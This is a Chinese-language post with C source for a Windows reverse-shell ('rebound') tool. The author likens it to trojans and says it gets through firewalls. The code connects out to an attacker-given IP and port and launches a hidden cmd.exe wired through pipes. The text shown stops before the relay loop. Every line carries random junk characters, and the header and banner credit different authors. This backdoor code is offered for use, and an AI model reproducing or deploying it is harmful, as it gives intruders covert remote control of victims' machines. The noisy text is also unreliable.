这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 #plY\0E@
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/* ============================== d[rv1s>i
Rebound port in Windows NT &.TTJsKG h
By wind,2006/7 U%0Ty|$Y
===============================*/ gGfoO[B
#include UH7jP#W%=
#include Z{?G.L*/
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#pragma comment(lib,"wsock32.lib") JTi!Xu5Jq
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void OutputShell(); 8p[)MiC5W^
SOCKET sClient; Vh>Z,()>>@
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; p~LrPWHSTP
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void main(int argc,char **argv) <nEi<iAY>U
{ G
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WSADATA stWsaData; f6$b
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int nRet; q -8t'7
SOCKADDR_IN stSaiClient,stSaiServer; zbJT&@z
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if(argc != 3) ;c$ J=h]
{ .k,YlFvj
printf("Useage:\n\rRebound DestIP DestPort\n"); CdL< *AH
return; 0527Wj
} |Ph3#^rM?
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WSAStartup(MAKEWORD(2,2),&stWsaData); \W,I?Kx$
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^n0]dizB
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stSaiClient.sin_family = AF_INET; dH( ('u[
stSaiClient.sin_port = htons(0); NHlk|Y#6b
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); uslQ*7S[^
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) XrZ*1V
{ V)}rEX
printf("Bind Socket Failed!\n"); v%Wx4v@%SE
return; ,AT[@
} (p%>j0<
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stSaiServer.sin_family = AF_INET; >M&3Y
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ](|\whI
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ID/F
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 1'?4m0W1
{ R:B^
printf("Connect Error!"); qe5feky
return; J=/5}u_gw
} *2jK#9"MP
OutputShell(); :%IoM E
} 6-O_\Cq8
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void OutputShell() @B}aN@!/
{ 4[N^>qt =
char szBuff[1024]; 43=,yz2Ef
SECURITY_ATTRIBUTES stSecurityAttributes; ,a#EW+" Z
OSVERSIONINFO stOsversionInfo; !>:?rSg*
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; tJN<PCG6"
STARTUPINFO stStartupInfo; K(aJi,e>
char *szShell; L@fY$Rw
PROCESS_INFORMATION stProcessInformation; Q|@4bz i)
unsigned long lBytesRead; av~5l4YL
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Ha)ANAD
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); f5 `g
stSecurityAttributes.lpSecurityDescriptor = 0; kwsp9 0)
stSecurityAttributes.bInheritHandle = TRUE; 4bgqg0z>
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); bJD;>"*
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0);
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); }u1O#L}F5
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Vx-7\NB
stStartupInfo.wShowWindow = SW_HIDE; =G]@+e
stStartupInfo.hStdInput = hReadPipe; Dih3}X&jn$
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; {AQ=<RDRF
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GetVersionEx(&stOsversionInfo); fum0>tff
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switch(stOsversionInfo.dwPlatformId) Sf8{h|71
{ -
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case 1: %.vVEy
szShell = "command.com"; `/_G$_
break; 4ni3kmvX
default: M+x,opl
szShell = "cmd.exe"; "!EcbR
break; Fgh]KQ/5
} QPq7R
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 0Zg%+)iy@
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send(sClient,szMsg,77,0); >]c*'~G&